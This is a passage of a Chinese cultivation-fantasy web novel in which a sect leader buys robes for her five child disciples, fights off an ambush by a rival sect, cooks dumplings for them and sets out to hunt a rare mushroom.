云见月却蹲下身,摸了摸苏渺渺柔软的发顶,“宝贝,不要为灵石担心。你只管告诉师尊,这件衣服,你喜欢吗?” 苏渺渺看着那件在光线下泛着柔和光泽、漂亮得像小仙子衣服的法衣,大眼睛里充满了渴望,她无意识地伸出小手指轻轻碰了碰衣服的袖子又马上缩回来,最终还是诚实地点了点头,小声说:“喜欢。” “好。”云见月站起身,对那伙计平静地道:“中品就不必看了。有没有更好的上品法衣。” 伙计愣了一下,显然没想到这位穿着朴素的客人开口就要上品。 他连忙点头:“有!当然有!不过,上品法衣用料和阵法都更精良,防御力也更强些,价格最低也要一千块下品灵石一件,您看……” 他并非看不起,只是这个价格确实高昂,怕客人不了解行情。 云见月没有丝毫犹豫,直接道:“行。给我的五个徒儿,每人来一件上品法衣。要合身,样式适合他们各自的年纪气质。” “五、五件?上品?”伙计的声音都变调了,眼睛瞪得溜圆。 他在这“云织坊”干了这么久,一个月都未必能卖出五件上品,今天竟然一口气要卖五件上品? 这简直是天上掉馅饼。 云见月不再废话,直接从储物袋中取出五千块下品灵石放在柜台上。 璀璨的灵光瞬间照亮了整个店铺。 “嘶——”伙计倒吸一口凉气,看着那堆成小山的灵石,激动得手都在抖。 他这是遇到低调出行的财神爷了,真是人不可貌相。 “好!好!贵客您稍等,马上就好。”伙计手脚麻利地开始为五个孩子量尺寸,并飞快地从内室取出五件不同款式、但都灵光熠熠的上品法衣。 孩子们在伙计的帮助下,忐忑又新奇地换上了新衣。 当五个焕然一新的小身影从试衣间走出来时,连云见月都眼前一亮,差点没认出来。 萧星尘一身玄色劲装,衣料坚韧挺括,肩部和肘部有暗金色的纹路加固,衬得他小小年纪便有了几分沉稳可靠的气质,像一棵挺拔的小松。 鹿闻声则是一身赤红镶暗金边的袍服,衣料柔软却带着火焰般的质感,隐隐有微光流动,与他内敛的火灵根气息隐隐相合,眉宇间那份隐忍似乎也化作了沉静。 郁仙换上了一条水绿色的罗裙,裙摆绣着精致的藤蔓与含苞待放的花卉,清雅灵秀,虽然她的小脸依旧没什么表情,但那身新衣将她瘦小的身形衬得有了几分生气,常年笼罩眉宇的阴郁似乎也淡了些许,像一株初沾雨露的幼苗。 江迷雾是一套利落的靛蓝色短打,衣料轻薄却隐含锋锐之气,腰间束带让他显得格外精神,那双清澈的大眼睛在合身的新衣映衬下更显灵动,仿佛一柄初露锋芒的小剑。 最可爱的当属苏渺渺,她穿着一件粉霞色的蓬蓬小裙子,领口袖口缀着柔软的白色绒毛,裙摆上还用银线绣着憨态可掬的锦鲤图案,穿上新衣的她,小脸红扑扑的,大眼睛亮晶晶,像年画里走下来的小福娃,笑得见牙不见眼。 伙计看着五个如同脱胎换骨般精致可爱的孩子,脸都笑成了一朵花,殷勤备至地将他们送出店铺,口中连连道:“贵客慢走!欢迎下次再来!” 当云见月带着五个身着华美上品法衣、如同小仙童仙女的徒弟走出“云织坊”时,对面“霓裳阁”那个倚在门槛上看戏的伙计,眼珠子都快瞪出来了! “不可能!”他失声惊叫,指着云见月师徒,手指都在颤抖,“你们几个臭要饭的怎么可能买得起法衣?还是上品?假的!一定是假的!” 第15章 半路遇上打劫的,我看你也是活得不耐烦了 云见月停下脚步,目光轻飘飘地扫过他,“不过就是花了五千块下品灵石而已,这点灵石,我还掏得起。” 她的语气平淡得像在说买了五颗糖。 “五、五千块下品灵石?”伙计的呼吸都停滞了,巨大的震惊和悔恨瞬间淹没了他。 五千灵石! 他刚才竟然把这样一位财神爷往外赶? 伙计脸上的鄙夷和傲慢瞬间消失得无影无踪,取而代之的是谄媚到极致的讨好。 他几乎是连滚带爬地冲到云见月面前,点头哈腰,“是小的有眼无珠,是小的狗眼看人低,仙子您大人有大量,千万别跟小的一般见识,我们‘霓裳阁’也非常非常欢迎您。 里面还有更好的货,要不您再进来看看?” 云见月抬手打住。 “狗眼看人低的店,我可不敢再进去,怕脏了我徒儿的新衣。” 她冷冷丢下一句,不再看他一眼,对孩子们柔声道:“徒弟们,我们走。记住,以后遇到这种势利小人,不必理会,更不必生气,远离便是。” “嗯!”孩子们齐声应道,声音清脆响亮。 他们昂起小脑袋,学着师尊的样子,冲着那脸色难看的伙计,齐齐地“哼”了一声,小脸上写满了扬眉吐气的骄傲,然后簇拥着云见月,头也不回地离开。 “云织坊”的伙计对着“霓裳阁”的伙计道:“把这么大的客户送给我们,谢谢哦,以后再有这样的大客户欢迎送到我们云织坊,一个不嫌少,两个不嫌多。” “你......你......” “霓裳阁”的掌柜得知此事,气急败坏的怒吼:“蠢货!你这个有眼无珠的蠢货!你被开除了!滚!立刻给我滚——” 伙计哭天抢地的哀求,掌柜却置之不理。 云见月莞尔一笑,没有回头。 做错了事,总要付出代价。 她带着孩子们继续在坊市中穿行,温和但坚定地对他们说:“外在的衣着,不过是身外之物,不代表一个人的真正价值。 记住,你们是我云见月的亲传弟子,骨子里的坚韧、心中的志气、还有未来要掌握的真本事,这些才是你们最好的、永不褪色的‘衣裳’。” 她顿了顿,语气带上了一丝锋芒:“但是,遇到蛮不讲理、刻意欺辱的人,我们也不能一味忍气吞声。 学会保护自己,在合适的时机予以反击,让对方知道我们不是好欺负的,同样重要。” 徒弟们仰头看着她,阳光洒在她清丽的侧脸上,仿佛镀上了一层光晕。 又采购了一些零碎的生活用品和孩子们喜欢的小玩意,师徒六人终于满载而归。 苏渺渺年纪最小,兴奋劲儿过去后,小短腿实在走不动了,眼皮也开始打架。 “师尊,渺渺走不动了……”小家伙揉着眼睛,声音软糯带着困意。 云见月俯身将小团子稳稳背了起来。 渺渺的小脑袋枕在她温暖的肩头,手里还无意识地攥着半串没吃完的糖人,几乎是瞬间就沉入了香甜的梦乡,嘴角还挂着满足的微笑。 萧星尘、鹿闻声、江迷雾和郁仙四个徒弟,安静地跟在云见月身边。 一时间,寂静无声,只有孩子们轻微的脚步声和渺渺均匀绵长的呼吸声。 鹿闻声默默落后一步,悄悄托了一下云见月背上睡得正酣的渺渺,自己的唇瓣不由得上扬了一分。 夕阳的金辉温柔地洒落,将他们的影子拉得长长的,在通往玄天宗的路上,仿佛一幅温暖而充满希望的剪影画。 然而。 师徒六人行至离玄天宗山门不远的山林路段时,异变陡生! “嗖!嗖!嗖!” 数道身影从林中窜出,拦住了前路。 来人共有五名,四人身穿统一的褐色劲装,胸口绣着一个熊熊燃烧的火焰标志,修为皆在筑基中期到后期,眼神贪婪。 而为首之人,却让云见月瞳孔微微一缩。 那是一个极其俊美的男子,面如冠玉,长眉斜飞入鬓,一双桃花眼本该风流多情,此刻却淬着戏谑和一丝嫉恨。 他的气质阴柔而危险,周身散发着化神初期巅峰的气息。 云见月在记忆中飞速翻找,一个名字瞬间跃出——柳青冥! 是他! 难怪原身会被他迷的神魂颠倒,这男生女相的阴柔长相着实好看的让人心动,也难怪原身会为了他与当时还是“废柴”的楚凌风退婚。 那段荒唐的日子里,两人厮混在一起,柳青冥甜言蜜语,哄得原身团团转,不知为他挥霍了多少玄天宗的资源。 只是,当楚凌风厚积薄发,青云剑宗逐渐崛起后,柳青冥立刻翻脸无情,像丢弃破抹布一样甩了原身,转头就去巴结楚凌风,生怕楚凌风找他麻烦。 每次原身舔着脸去讨好楚凌风,柳青冥都要在旁边阴阳怪气地讥讽一番,甚至为了讨好楚凌风,不惜主动针对折辱原身。 没想到,冤家路窄,竟会在这里碰上他。 “哟!这不是玄天宗的云宗主吗?”柳青冥身后一个筑基后期的弟子抢先开口,目光像毒蛇般贪婪地扫过孩子们身上崭新的上品法衣,最后盯在云见月腰间的储物袋上。 “听说你今天在坊市出手阔绰,威风得很呐?哥几个最近手头有点紧,借点灵石花花?”语气充满了赤裸裸的威胁。 突如其来的变故让苏渺渺瞬间惊醒,吓得小脸惨白。 孩子们紧紧聚拢到云见月身边,小手死死抓住她的衣角。 云见月不动声色地将孩子们护在身后,目光如冰刃般射向柳青冥:“赤炎宗好大的胆子,敢劫我玄天宗的路?” “哈哈哈!玄天宗?” 那几个筑基弟子仿佛听到了天大的笑话,放肆地哄笑起来。 “就剩你一个光杆宗主带着几个小拖油瓶的破落户?也配称‘宗’?” 其中一个更是淫邪地打量着云见月和几个容貌出色的孩子,话语恶毒下流:“识相的,乖乖把储物袋和值钱的东西留下,再让这几个小崽子把身上的新皮扒下来。 否则……嘿嘿,云宗主你这细皮嫩肉的,还有这几个小崽子,模样都不错,卖去黑矿当苦力或者炉鼎楼伺候人,想必也能卖个好价钱。” 云见月没有理会那些喽啰,冰冷的目光直刺柳青冥:“柳青冥,你就这般纵容你门下弟子行此龌龊之事?” 柳青冥慵懒地耸了耸肩,俊美的脸上挂着漫不经心的笑,桃花眼里满是轻蔑: “纵容?谈不上。不过是些实话罢了。” 他踱前一步,“云见月,认清现实吧。你的这些东西,最终还不是要拿去填楚凌风那个无底洞? 你送再多,他也不会多看你一眼。与其浪费在他身上,不如给我。” 他勾了勾唇角,露出一抹自以为迷人的笑容,“看在你我往日的情分上,东西留下,我放你们一马,如何?” “放我一马?就凭你?”云见月不屑,“柳青冥,我给你最后一次机会,带着你的人,立刻滚!否则,休怪我不念旧情!” “旧情?”柳青冥仿佛被戳中了痛处,俊脸陡然阴沉下来。 要不是这贱人,他能被楚凌风嫉恨上吗? 要不是他机敏,忍辱负重给楚凌风当狗,早就被楚凌风杀了。 她还有脸跟他谈旧情? 他深知论真实实力,自己绝非云见月对手,但此次离宗,宗主特意赐下了一件法宝,就是为了应对可能遇到的硬茬。 他懒得和云见月多费唇舌,手腕一翻,一道赤红色的流光冲天而起,瞬间化作一口古朴沉重的赤铜巨钟。 钟身铭刻着密密麻麻的火焰符文,散发出灼热而强大的禁锢气息。 “焚心锁灵钟——镇!”柳青冥掐诀厉喝。 赤铜巨钟迎风便涨,钟口朝下,凝练如实质的赤红光幕瞬间倾泻而下,如同一个倒扣的巨大火碗,将云见月连同她身后的孩子们完全笼罩其中。 灼热、粘稠、沉重的压制力降临。 云见月只觉得周身灵力,如同陷入了滚烫的岩浆泥沼,运转变得异常艰涩迟滞,连化神期的威压都被这光幕大幅度削弱隔绝。 “这焚心锁灵钟可镇化神后期大能,你只不过是化神初期,就别白费心机了。”柳青冥得意大笑。 被困阵中的云见月调动全身灵力,冰蓝色的寒芒在掌中凝聚,化作巨大的冰掌狠狠轰击在赤红光幕上。 “轰隆!”光幕剧烈震荡,火焰符文明灭闪烁,却并未破碎,反而反震之力让她气血一阵翻腾。 柳青冥身后的那四名筑基修士开始邪笑戏耍他们,纷纷祭出飞剑、火球,朝着被困在光幕中的云见月攻击而去。 “堂堂玄天宗宗主,也有被我们筑基期修士玩弄的一天。” “她爹活着的时候,她就猖狂的不得了,整日鼻孔朝天,早就看她不顺眼了,看我今天不玩死她。” 云见月既要抵抗焚心钟的压制,又要分心保护紧贴在自己身后的徒弟们不被法术余波击中,顿时狼狈不堪。 嗤啦! 一道火箭擦着她的手臂飞过,月白的法衣袖口瞬间焦黑撕裂,白皙的手臂上留下一道刺目的焦痕,火辣辣地疼。 “师尊!”孩子们惊呼,眼中充满了惊恐和心疼。 看到师尊为了保护他们而受伤,孩子们眼中的恐惧被熊熊燃烧的愤怒压倒。 “不准伤我师尊!”萧星尘双目赤红,上前一步,竟用自己小小的身躯挡在了云见月前面。 几乎同时,鹿闻声也动了,催动火灵力抵抗。 郁仙犹豫了一下,也走上前,释放出微弱的木灵力。 云见月见状,大惊:“你们三个给我退下!” 三个小家伙死死咬着牙苦苦支撑着,纹丝未动。 突然,一道巨大的火球迎面而来。 云见月瞳孔剧震。 第16章 属于男主的泼天富贵,轮到我了 她瞬间分出灵力抵抗火球。 “轰——” 冰灵力与火球相撞,巨大的冲击波将萧星尘、鹿闻声和郁仙震得飞出去,一口鲜血吐了出来。 江迷雾看着这副场景,脑海中不由得浮现满门被灭的血腥画面,他像一只被激怒的小豹子,手拿凝霜剑,狠狠一剑劈出。 剑气撞上了筑基后期修士释放的火球。 轰! 气劲炸裂! 江迷雾的剑气瞬间被击溃,他整个人被狂暴的反震之力掀飞出去,握剑的小手虎口崩裂,鲜血染红了剑柄和袖口,剧痛让他小脸扭曲,却死死咬着牙没叫出声,盯着敌人的眼神是与其年龄不符的凶狠与疯狂。 柳青冥没想到这几个小崽子竟敢反抗,他加大灵力催动焚心钟。 一声蕴含着滔天怒意和冰冷杀机的厉啸从光幕中炸响。 “你们……找死!!!” 那声音仿佛来自九幽地狱,让柳青冥等人都感到一股刺骨的寒意。 被困的云见月目睹着徒弟们为了保护她而纷纷受伤吐血,心中剧痛如绞。 她强行逆转被压制的冰系灵力,不顾经脉传来撕裂般的剧痛,将所有的力量、所有的愤怒疯狂压缩。 嗡! 一根通体晶莹剔透、散发着寒意的巨大冰锥,在她身前瞬间凝聚。 云见月眼中冰蓝光芒爆射,双手猛然向前一推。 咻——轰隆!!! 冰锥带着撕裂一切的尖啸,狠狠刺向焚心锁灵钟。 咔嚓! 轰——!!! 震耳欲聋的爆裂声响彻山林。 号称能锁灵焚心的赤铜巨钟,在这凝聚了云见月所有怒火与力量的至寒一击下,如同脆弱的琉璃般轰然炸裂。 无数赤红的碎片裹挟着狂暴的寒冰气劲向四周激射。 赤红光幕瞬间消失。 脱困的云见月,长发无风自动,月白的法衣上血迹与焦痕刺目,眼神却冰冷得如同亘古不化的冰川。 她强压下一瞬间的眩晕感,身影快得在原地留下道道残影。 “冰针!” 清冷的两个字吐出,致命寒气凭空凝结,如同暴雨梨花般射向那四名刚从混乱中恢复的筑基修士。 噗噗噗噗! 连惨叫都来不及发出,四名筑基修士被冰针射成了筛子,生机断绝。 柳青冥吓得魂飞魄散,俊美的脸庞扭曲变形,再无半分从容。 他转身就想遁逃。 “想走?”云见月的声音如同索命魔音,一道厚达数尺的冰墙拔地而起,彻底封死了他的退路。 “云见月,你敢杀我?赤炎宗不会放过你。”柳青冥尖叫。 回答他的,是云见月毫不留情的杀招。 她根本不给柳青冥任何求饶或谈判的机会。 招招致命! 柳青冥狼狈不堪地抵挡、闪躲,锦袍破碎,身上多出数道深可见骨的伤口,鲜血染红了衣襟。 他引以为傲的俊脸也被一道冰刃划过,留下深可见骨的伤痕。 他心中惊骇欲绝,云见月的实力远超他的预估,那股不死不休的杀意更是让他胆寒! “噗!”柳青冥被一道沉重的冰柱击中胸口,肋骨断裂的脆响清晰可闻,他狂喷鲜血,如同断线的风筝般倒飞出去。 云见月双手掐诀,头顶出现数不胜数的冰箭,森寒的箭尖对准了柳青冥。 柳青冥眼中闪过绝望,就在万箭齐发的瞬间,他猛地捏碎了藏在手心的一张土黄色符箓。 “遁!” 一股强烈的土黄色光芒包裹住他重伤的身体,地面如同水波般荡漾,柳青冥的身影瞬间消失不见。 “土遁符?”云见月眉头紧锁,神识刹那间扫过方圆数里,却只捕捉到一丝微弱且迅速远去的土系波动。 她脸色阴沉,有些不甘地收回了手。 “让他跑了……” 柳青冥未死,赤炎宗绝不会善罢甘休。 虽然赤炎宗宗主不过化神后期,但终究是个麻烦。 麻烦,是她现在最不需要的东西。 压下心头的杀意和忧虑,云见月立刻转身,快步走向受伤倒地的徒弟们。 “师尊,呜呜呜…师兄师姐流了好多血…”渺渺扑进云见月怀里,放声大哭。 “渺渺不怕,坏人都打跑了。”云见月立刻蹲下身,挨个检查孩子们的伤势。 孩子们伤的不重,每个人吃下一颗回春丹,伤势立刻好转了。 云见月温柔的看着他们,“你们很勇敢,但下次要记得,保护自己也很重要。” “不过,为师还是要谢谢你们保护我,为师很感动。” 云见月语气无比坚定,带着劫后余生的庆幸和对他们勇气的心疼。 生死关头,孩子们愿意保护她,足以说明他们已经开始对她打开心扉了。 只不过对他们好了两天,他们就这般护着她,可真是一群天真无邪又心地善良的小家伙。 云见月带着孩子们,一步步走向那在暮色中显得格外破败却也格外安全的玄天宗。 回到宗门,云见月安排好徒弟们,就进了厨房。 “想要抓住一个人的心,就要抓住他的胃。” 尤其是在经历了生死搏杀之后,一顿热腾腾的家常饭,最能抚慰人心。 好吃不过饺子,几乎没有孩子能抵抗饺子的魅力,她决定包饺子。 熟练地取出新买的面粉,加入灵泉水,和成一个光滑的面团,盖上湿布醒着。 又将新鲜的灵兽肉细细剁成肉糜,加入切碎的灵葱,调入灵泉水和少许提鲜的灵草汁,顺时针搅打上劲,调成香气扑鼻的馅料。 醒好的面团在她手下被搓成长条,切成均匀的小剂子,擀成中间厚边缘薄的圆皮。 她动作麻利,手指翻飞,一个个胖乎乎、月牙般的饺子便整齐地码放在案板上。 灶膛里燃起温暖的火焰,大铁锅里的水咕嘟咕嘟沸腾起来。 白胖的饺子被倒入锅中,在滚水里沉沉浮浮,散发出诱人的麦香和肉香。 当热气腾腾、皮薄馅大的饺子被盛在粗瓷大碗里端上那张临时拼凑的木桌时,昏黄的灯光下,食物的香气仿佛驱散了所有的阴霾和血腥。 “徒儿们,吃饭啦。”云见月招呼着。 孩子们围坐在桌边,看着碗里白白胖胖、散发着诱人香气的饺子,眼中充满了新奇和渴望。 渺渺小心翼翼地夹起一个,吹了吹,咬了一小口,鲜美的汤汁瞬间在口中爆开,烫得她直哈气,小脸上却满是惊喜:“唔!好香!好好吃!” 萧星尘咬了一口,眼睛顿时亮了,他在萧家时吃过饺子,但和师尊做的差远了。 师尊真的好厉害,不仅会做烤鸡和小鸡炖蘑菇,连饺子都做的这么香。 鹿闻声安静地吃着,速度不慢,显然也被这从未尝过的美味征服。 江迷雾吃得狼吞虎咽,一张小脸都溅上了饺子汤汁。 郁仙低着头,小口小口地吃着碗里的饺子。 她的动作很慢,仿佛在品尝着什么绝世珍馐。 在乡下养父母家时,只有过年那一大家子才会围在一起吃饺子。 而她,永远只能躲在柴房里,闻着飘来的香气,听着外面的欢声笑语,连一口饺子汤都喝不上。 冰冷的柴房,刺骨的寒风,还有肚子的咕咕叫声,就是她对“年”的全部记忆。 没想到,自己也有坐在温暖的屋子里,吃着热腾腾、香喷喷的饺子的一天。 真的好香,好暖和……她低着头,一滴滚烫的泪珠无声地砸进了碗里,迅速消失在汤水中。 她飞快地用袖子抹了下眼睛,又夹起一个饺子塞进嘴里,用力地咀嚼着。 “原汤化原食,吃完饺子喝点饺子汤,舒服。”云见月给每人盛了小半碗清亮的饺子汤。 看着孩子们吃得香,脸上终于有了血色和满足,云见月心中那块沉重的石头才稍稍放下。 饭桌上很安静,只有轻微的咀嚼声和碗筷碰撞的轻响。 但这安静中,却流淌着一种劫后余生的温暖和彼此依靠的安宁。 待大家都吃得差不多了,云见月放下碗,目光缓缓扫过每一个徒弟的脸庞,眼神温柔: “今天,你们让师尊看到了你们的勇气和力量。” “记住,我们是一家人。” “家人,就是要互相守护。玄天宗就是我们的家!谁也别想夺走我们的家,谁也别想伤害我们的家人!” 她的声音陡然转冷,带着不容置疑的杀伐之气: “赤炎宗今日之仇,为师记下了,柳青冥跑得了和尚跑不了庙,这笔账,为师会亲自跟他们好好算个清楚。” “我云见月的徒儿,绝对不能白白受欺负。” 徒弟们听着云见月维护的话,心里全都暖洋洋的。 夜深了,大家各自回房。 云见月盘膝坐在床上,身前散落着仅存的灵石。 莹白的光芒映着她微蹙的眉峰,指尖划过石块,心中默算: 米面粮油,两千… 五件上品法衣,五千… 零碎丹药糖食,两百… 她轻轻叹了口气,“七千二,没了。就剩下两千八下品灵石。” 这点灵石,别说修复宗门殿宇楼阁,连加固护山大阵都够呛。 “还有柳青冥和赤炎宗绝不会善罢甘休,必须在大敌来临之前,让宗门有自保之力…...灵石!需要海量的灵石!” 云见月大脑飞速运转,无数念头闪过又被否决。 开铺?无本无源。 卖艺?杯水车薪。 抢掠?非她之道。 就在思绪几乎陷入僵局时,一道灵光骤然劈开迷雾。 原剧情里,原身把郁仙给她的毒丹送给了楚凌风,楚凌风又给了萧凡。 萧凡和郁姝在抓捕火凤凰时,被凤凰真火所伤,吃下丹药后又身中剧毒,性命垂危。 为了救宝贝徒弟,楚凌风冒险去了万瘴之森,他在深处的‘阴阳交汇之地’,搏杀守护凶兽,采到了三株枯荣轮回菇。 那传说中的上古玄菌,生死人肉白骨,蕴含着逆转枯荣之力。 一株救了萧凡和郁姝,另一株他自己留着,最后一株被他卖给了上域虞家。 青玄大陆虽然是一个整体,但他们所在的修真界其实是下域,灵气稀薄,修炼困难。 相反,上域灵气浓郁,金丹多如狗,元婴遍地走。 但上域和下域之间有结界隔开,下域之人很难前往上域,上域之人更看不上下域,故而几乎没人来下域这种“穷乡僻壤”。 上域虞家少主身受重伤,命在旦夕,唯有传说中的枯荣轮回菇能救其性命,但上域根本没有这等上古玄菌。 无奈,上域虞家人便来下域寻找,还非常凑巧的让男主楚凌风碰上了。 最终,上域虞家人花费了十万块上品灵石,购买了这株枯荣轮回菇,还欠了楚凌风一个大大的人情。 灵石分为:下品、中品、上品、极品。 每个等级的换算要乘以一百。 故而,十万块上品灵石相当于十亿块下品灵石。 有了这些灵石,楚凌风崛起的速度更快,也为后期走上人生巅峰打下了坚实的基础。 这辈子,她并没有把毒丹送给楚凌风。 萧凡和郁姝也就没有中毒,相信楚凌风应该不会去万瘴之森了。 云见月嘴角勾起,“他不去…那便该我去了!” 第17章 一个猴一个拴法,这是幼师的基操 这泼天的富贵也该轮到她了。 心中大石落地,云见月挥手收回灵石,身体向后一倒,几乎是沾枕的瞬间,意识便沉入了梦乡。 与此同时,在另一间简陋的厢房内。 郁仙没有睡。 她盘腿坐在硬板床上,小心翼翼地从储物袋里,拿出了那个晶莹剔透的糖人。 糖浆勾勒出她倔强的眉眼,在昏暗的油灯下,折射出温暖甜蜜的光泽。 大师兄、二师兄、四师弟、小师妹,他们的糖人早在路上就吃掉了。 只有她,像捧着稀世珍宝般藏了起来。 这是真正属于她的,第一份礼物。 是师尊特意买给她的。 指尖轻轻拂过光滑冰凉的糖面,郁仙的心里涌动着一种陌生又滚烫的情绪。 她凑近,深深吸了一口气,那纯粹的甜香钻进鼻腔,让她忍不住舔了舔有些干涩的嘴唇。 好想吃。 可是吃掉了,就没了。 但不吃的话,时间长了就会发霉变质的,怎么办? 小眉头紧紧皱起,眼中满是纠结。 忽然,她眼睛一亮。 灵力!用灵力延缓它变质! 她调动起体内微弱的木系灵力,一丝丝柔和的翠绿光芒小心翼翼地包裹住糖人,隔绝着空气的侵蚀,希望能让它保存得久一点,再久一点。 直到确认糖人表面的光泽依旧诱人,她才珍而重之地将它重新放入储物袋。 做完这一切,她并没有立刻躺下。 而是爬下床,弯腰从床底拖出一个不起眼的旧木箱。 箱子里装的不是杂物,而是松软湿润的泥土。 泥土中,埋着几段不起眼的灰白色根须,正是被云见月掐掉丢弃的“蘑菇”的根。 不知为何,当她看到厨房角落这些被遗弃的根茎时,一种源自血脉深处的悸动驱使着她将它们捡了回来。 她的木灵根仿佛对它们有着天然的亲近感。 也许……能种活? 郁仙伸出小手,指尖萦绕着淡淡的翠绿之力,轻柔地抚过那些根须,缓缓注入土壤。 “小鸡炖蘑菇真好吃。”她低声呢喃,眼中带着小小的期待,“等我把蘑菇种出来,就能天天吃到了吧?” 幻想着一大锅热气腾腾、香喷喷的炖蘑菇,郁仙心满意足地将木箱轻轻推回床底。 吹熄油灯,爬上床,裹紧薄被,带着对未来的小小憧憬,很快沉沉睡去。 谁也不知道,在郁仙微弱的木灵力滋养下,那几段“枯荣轮回菇”的残根,正在土壤中,悄无声息的生根发芽。 ...... 清晨,主殿前的空地上,五个小小的身影被云见月召集在一起。 “徒儿们。”云见月目光扫过一张张稚嫩的小脸,“坐吃山空非长久之计,为师需外出数日寻找资源。” 她目光首先落在萧星尘身上。 “星辰,你身为大师兄,为师给你最重要的任务:务必照顾好师弟师妹,绝不能让他们踏出宗门半步!” “为师昨天杀了赤炎宗的人,赤炎宗不会善罢甘休,一定会来找麻烦,只要你们乖乖呆在宗门内,有护山大阵在,赤炎宗的人一时半会闯不进来。” 萧星尘挺直脊背,重重点头,眼中是超越年龄的沉稳:“师尊放心,弟子定护师弟师妹周全!” 接着,云见月看向郁仙:“仙儿。” 她的声音柔和下来,“为师知你自小便独立能干,我不在的这些时日,宗内伙食就交给你了,能替为师分担吗?” 郁仙的心弦被轻轻拨动。 在养父母家时,比她还高的锅灶、烫伤的疼痛、做不好便招致的打骂与饥饿……都是她的噩梦。 可此刻,在师尊满含信任的目光下,那些阴影竟奇异地淡去,取而代之的是一种被需要、被认可的暖流,悄然在心间流淌。 她面上依旧淡淡的,只轻轻“嗯”了一声,但那微微攥紧的衣角泄露了她未被忽略的欣喜。 “闻声。”云见月转向鹿闻声,“你是火灵根,生火最是便捷。仙儿做饭时,你负责看顾火候,万不可让你三师妹被烫伤分毫,明白吗?” “徒儿遵命!”鹿闻声眼神认真。 轮到江迷雾和苏渺渺,两个小家伙仰着头,眼巴巴地望着师尊。 两个小家伙一个四岁一个五岁,实在是太小了,也做不了什么。 不过,云见月身为幼师,因材施教是作为幼师的基操。 她蹲下身,平视江迷雾,带着鼓励:“阿雾,大师兄、二师兄、三师姐都有任务了,你觉得你能为师兄师姐们做些什么呢?” 江迷雾歪着小脑袋,努力想了又想,小脸渐渐垮下来:“阿雾太笨了,好像什么都做不了。” “谁说的?”云见月揉揉他的发顶,笑容温暖,“阿雾一点都不笨,只是还没想到罢了,师尊帮你想好了。” 看着小家伙瞬间亮起的眼睛,她继续道:“你有天生剑骨,剑道修行一日不可懈怠。 不如这样,你帮师兄师姐们劈柴,既能以柴为‘桩’磨炼剑意,又能为做饭准备好柴火,一举两得,如何?” 江迷雾兴奋地小脸上满是崇拜的光,“师尊好厉害,徒儿明白了,徒儿一定好好劈柴,绝不偷懒。” 他用力点头,仿佛接下了神圣使命。 云见月表示,我就是怕你太闲了,身负血海深仇,一旦闲下来,你这脑袋瓜子就会胡思乱想,生出心魔。 最后是苏渺渺。 苏渺渺眼巴巴的看着云见月,那小模样分明也是希望师尊也给她安排任务。 这倒是让云见月有些发愁。 原剧情里,苏渺渺未来会成为灭世灾星。 她修为不高,但言出法随,随随便便一句话就能引天火陨石灭门。 谈笑间断送一代修士飞升之路。 未来的她就是个乌鸦嘴,诅咒谁,谁倒霉。 目前来看,这个时期的她似乎还没有展现出乌鸦嘴技能,极有可能是在原身的不断虐打中,逐渐激活了这一技能。 不行,绝对不能让渺渺变成乌鸦嘴。 云见月眼睛一转,有了主意。 她笑容愈发温和,带着神秘:“渺渺,为师可是掐指算过的,你是咱们玄天宗的小福星,为师能抓到七彩凤羽鸡,能采到好吃的蘑菇,都是托了渺渺的福气呢。” 苏渺渺被夸得小脸通红,害羞地绞着手指:“真…真的吗?渺渺是福星?” “当然是真的!”云见月神情严肃,“所以,为师要交给你一个最艰巨的任务,那就是你每天至少要说一句充满正能量的话。 比如,夸三师姐做的饭香喷喷,夸四师兄劈柴又快又好,这叫‘赠人玫瑰,手留余香’,在你夸别人的同时,自己也能得到快乐,记住了吗?” “嗯!渺渺记住啦!赠人玫瑰,手留余香!”苏渺渺大声复述,小脸上写满了郑重。 五个小家伙各自领命,小胸脯拍得啪啪响,信誓旦旦保证会完成任务。 云见月欣慰点头:“好,答应师尊的事,就一定要做到,等为师回来,给你们带惊喜。” 苏渺渺扑过来抱住她的腿,奶声奶气地道,“渺渺会想师尊的,祝师尊…...顺顺利利,心想事成,在日归来。” 鹿闻声识海中,炎老的声音带着一丝别扭的关心:“哼,小丫头片子,可别把小命丢外面了,老夫还指望你护着闻声这小子呢。” 在徒弟们交织着不舍与担忧的目光中,云见月不再迟疑,踏着虚空,朝着万瘴之森的方向飞去。 万瘴之森,边缘地带。 浓稠如实质的彩色毒瘴弥漫天地。 云见月撑开冰蓝色的灵力护罩,神识如雷达般扫视,凭借对原著陷阱的熟悉,她险之又险地绕开致命区域,迅速深入腹地,接近阴阳交汇之地的边缘。 一股腥风扑面,伴随着震耳欲聋的嘶吼,守护兽三首毒火蜥庞大的身躯挡住了去路。 它三颗头颅燃烧着幽绿毒火,散发着化神后期巅峰的恐怖威压。 硬拼十死无生! 书中,男主楚凌风对付起来都十分吃力。 自己比楚凌风修为低了两个小境界,更不能与之硬拼。 云见月瞳孔骤缩,瞬间做出决断。 她身形急退,将其引入一处狭窄的嶙峋石缝地带。 “冰封!”娇叱声中,磅礴冰灵力涌出,地面瞬间凝结出光滑如镜的坚冰。 巨蜥利爪打滑,庞大的身躯顿时失衡。 趁此良机,无数细密冰针精准射向三颗头颅的眼睛与口腔! “吼——” 剧痛与短暂的失明让凶兽彻底暴怒。 三道毁灭性的毒火瘴气洪流狂喷而出。 就是现在! “镜返!”一面厚达数丈、光滑如镜的巨大冰墙瞬间拔地而起。 轰——嗤嗤嗤 恐怖的毒火瘴气狠狠撞在冰镜上,镜面剧震,冰屑狂飞。 然而,那光滑如镜的表面,竟将大部分冲击力与炽热的毒火,沿着一个诡异的角度,狠狠反弹了回去! “嗷呜——”三首毒火蜥猝不及防,被自己的攻击劈头盖脸浇中,中间那颗头颅鳞甲焦黑卷曲,三双眼睛被毒烟熏得暂时失明,发出凄厉惨嚎。 “化冰!冰刺!”云见月眼中厉芒一闪,双手快如幻影。 诡异的一幕发生——巨蜥体内水分瞬间冻结,紧接着,数以万计的尖锐冰刺毫无征兆地、从它庞大的身躯内部猛然刺出。 噗噗噗噗! 如同一个巨大的冰刺猬轰然倒地,化神后期巅峰的凶兽,竟在几个呼吸间彻底毙命。 云见月盯着倒下的凶兽,又低头看了看自己的手,眼中闪过一丝强烈的困惑。 怎么回事?刚才那一瞬间调动冰灵力的顺畅感,以及对水分子操控的精准度,远超她自身境界应有的水平。 这胜利来得……诡异得轻松。 但此刻不容深究,她压下疑虑,迅速向核心区域走去。 第18章 谁敢动我徒儿一根汗毛,我灭他满门 踏入阴阳交汇之地,三株晶莹剔透、菌伞流转着微缩阴阳鱼的奇异植物映入眼帘。 枯荣轮回菇! 